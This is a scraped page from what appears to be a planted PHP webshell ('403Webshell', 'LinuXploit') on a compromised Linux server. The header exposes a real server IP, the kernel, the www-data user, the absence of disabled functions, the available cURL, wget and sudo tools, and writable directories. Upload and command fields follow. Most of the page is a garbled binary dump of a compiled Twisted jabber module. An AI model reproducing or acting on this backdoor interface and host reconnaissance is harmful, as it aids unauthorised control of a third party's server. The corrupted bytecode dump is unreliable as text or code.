403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/twisted/words/protocols/jabber/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/words/protocols/jabber/__pycache__/jid.cpython-312.pyc
�

Ϫ�f��
��UdZddlmZmZmZddlmZmZmZGd�de	�Z
dedeeedfeeedfffd	�Zd
eedfdedeedfdeeedfeeedfffd
�Z
iZeedfed<d�ZGd�d�Zy)a$
Jabber Identifier support.

This module provides an object to represent Jabber Identifiers (JIDs) and
parse string representations into them with proper checking for illegal
characters, case folding and canonicalisation through
L{stringprep<twisted.words.protocols.jabber.xmpp_stringprep>}.
�)�Dict�Tuple�Union)�nameprep�nodeprep�resourceprepc��eZdZdZy)�
InvalidFormatzT
    The given string could not be parsed into a valid Jabber Identifier (JID).
    N)�__name__�
__module__�__qualname__�__doc__���D/usr/lib/python3/dist-packages/twisted/words/protocols/jabber/jid.pyr
r
s��rr
�	jidstring�returnNc�L�d}d}d}|jd�}|jd�}|dk(r|dk(r|}nc|d|}||dzdxsd}nQ|dk(r|d|xsd}||dzd}n:||kr$|d|xsd}||dz|||z
z}||dzdxsd}n|d|}||dzdxsd}t|||�S)a�
    Parse given JID string into its respective parts and apply stringprep.

    @param jidstring: string representation of a JID.
    @type jidstring: L{str}
    @return: tuple of (user, host, resource), each of type L{str} as
             the parsed and stringprep'd parts of the given JID. If the
             given string did not have a user or resource part, the respective
             field in the tuple will hold L{None}.
    @rtype: L{tuple}
    N�@�/���r�)�find�prep)r�user�host�resource�user_sep�res_seps      r�parser s	���D��D��H��~�~�c�"�H��n�n�S�!�G��2�~��b�=��D��Q�w�'�D� ��1���/�7�4�H��b�=��Q�x�(�0�D�D��X��\�^�,�D��'�!� ��8�,�4��� ��A���G�h�<N�0O�P��$�W�q�[�]�3�;�t��!��7�+��$�W�q�[�]�3�;�t����d�H�%�%rrrrc��|r 	tjt|��}nd}|st	d��	tjt|��}|r 	t
jt|��}nd}|||fS#t$rt	d��wxYw#t$rt	d��wxYw#t$rt	d��wxYw)aP
    Perform stringprep on all JID fragments.

    @param user: The user part of the JID.
    @type user: L{str}
    @param host: The host part of the JID.
    @type host: L{str}
    @param resource: The resource part of the JID.
    @type resource: L{str}
    @return: The given parts with stringprep applied.
    @rtype: L{tuple}
    zInvalid character in usernameNzServer address required.zInvalid character in hostnamezInvalid character in resource)r�prepare�str�UnicodeErrorr
rr)rrrs   rrrMs��� �	A��#�#�C��I�.�D�����6�7�7�	A��#�#�C��I�.�D��	A�#�+�+�C��M�:�H����$��!�!��+�	A�� ?�@�@�	A���	A�� ?�@�@�	A���	A�� ?�@�@�	A�s"�A:�B�B*�:B�B'�*B?�JID�__internJIDsc�P�|tvr	t|St|�}|t|<|S)z2
    Return interned JID.

    @rtype: L{JID}
    )r&r%)r�js  r�	internJIDr){s/���L� ��I�&�&��	�N��"#��Y���rc��eZdZdZ		ddeedfdeeeedfeeedffdffd�Zd�Zd�Z	d�Z
d	ed
efd�Z
d�Zd
�ZeZd
efd�Zy)r%z�
    Represents a stringprep'd Jabber ID.

    JID objects are hashable so they can be used in sets and as keys in
    dictionaries.
    Nr#�tuplec��|rt|�\}}}n|r
t|�\}}}ntd��||_||_||_y)Nz?You must provide a value for either 'str' or 'tuple' arguments.)r r�RuntimeErrorrrr)�selfr#r+rr�ress      r�__init__zJID.__init__�sO��
�#�C�j�O�D�$��
�"�E�l�O�D�$���Q��
���	���	���
rc�h�|jr|j�d|j��S|jS)z�
        Extract the bare JID as a unicode string.

        A bare JID does not have a resource part, so this returns either
        C{user@host} or just C{host}.

        @rtype: L{str}
        r)rr�r.s r�userhostzJID.userhost�s.���9�9��i�i�[��$�)�)��-�-��9�9�rc�P�|jrt|j��S|S)a�
        Extract the bare JID.

        A bare JID does not have a resource part, so this returns a
        L{JID} object representing either C{user@host} or just C{host}.

        If the object this method is called upon doesn't have a resource
        set, it will return itself. Otherwise, the bare JID object will
        be created, interned using L{internJID}.

        @rtype: L{JID}
        )rr)r3r2s r�userhostJIDzJID.userhostJID�s!���=�=��T�]�]�_�-�-��Krc��|jrO|jr(|j�d|j�d|j��S|j�d|j��S|jr|j�d|j��S|jS)zW
        Return the string representation of this JID.

        @rtype: L{str}
        rr)rrrr2s r�fullzJID.full�sx���9�9��}�}��)�)��A�d�i�i�[��$�-�-��A�A��)�)��A�d�i�i�[�1�1��}�}��)�)��A�d�m�m�_�5�5��y�y� r�otherrc���t|t�rO|j|jk(xr4|j|jk(xr|j|jk(St
S)z�
        Equality comparison.

        L{JID}s compare equal if their user, host and resource parts all
        compare equal.  When comparing against instances of other types, it
        uses the default comparison.
        )�
isinstancer%rrr�NotImplemented)r.r8s  r�__eq__z
JID.__eq__�sU���e�S�!��	�	�U�Z�Z�'�4��I�I����+�4��M�M�U�^�^�3�
�"�!rc�Z�t|j|j|jf�S)a
        Calculate hash.

        L{JID}s with identical constituent user, host and resource parts have
        equal hash values.  In combination with the comparison defined on JIDs,
        this allows for using L{JID}s in sets and as dictionary keys.
        )�hashrrrr2s r�__hash__zJID.__hash__�s"���T�Y�Y��	�	�4�=�=�9�:�:rc�"�|j�S)z�
        Get unicode representation.

        Return the string representation of this JID as a unicode string.
        @see: L{full}
        �r7r2s r�__unicode__zJID.__unicode__�s���y�y�{�rc�(�d|j�zS)z�
        Get object representation.

        Returns a string that would create a new JID object that compares equal
        to this one.
        zJID(%r)rAr2s r�__repr__zJID.__repr__�s���4�9�9�;�&�&r)NN)rrr
rrr#rr0r3r5r7�object�boolr<r?rB�__str__rDrrrr%r%�s����!%�MQ��
�3��9�
���U�5��d��+�S�%��T�	�2B�B�C�T�I�J��$��$!�""�F�"�t�"�";���G�'�#�'r)r�typingrrr�.twisted.words.protocols.jabber.xmpp_stringpreprrr�	Exceptionr
r#r rr&�__annotations__r)r%rrr�<module>rLs����&�%����I��,&�S�,&�U�5��d��#3�S�%��T�	�:J�#J�K�,&�^("�
��T�	�
�("�"%�("�16�s�D�y�1A�("�
�5��d���S�%��T�	�"2�2�3�("�V"$��d�3��:��#��y'�y'r

Youez - 2016 - github.com/yon3zu
LinuXploit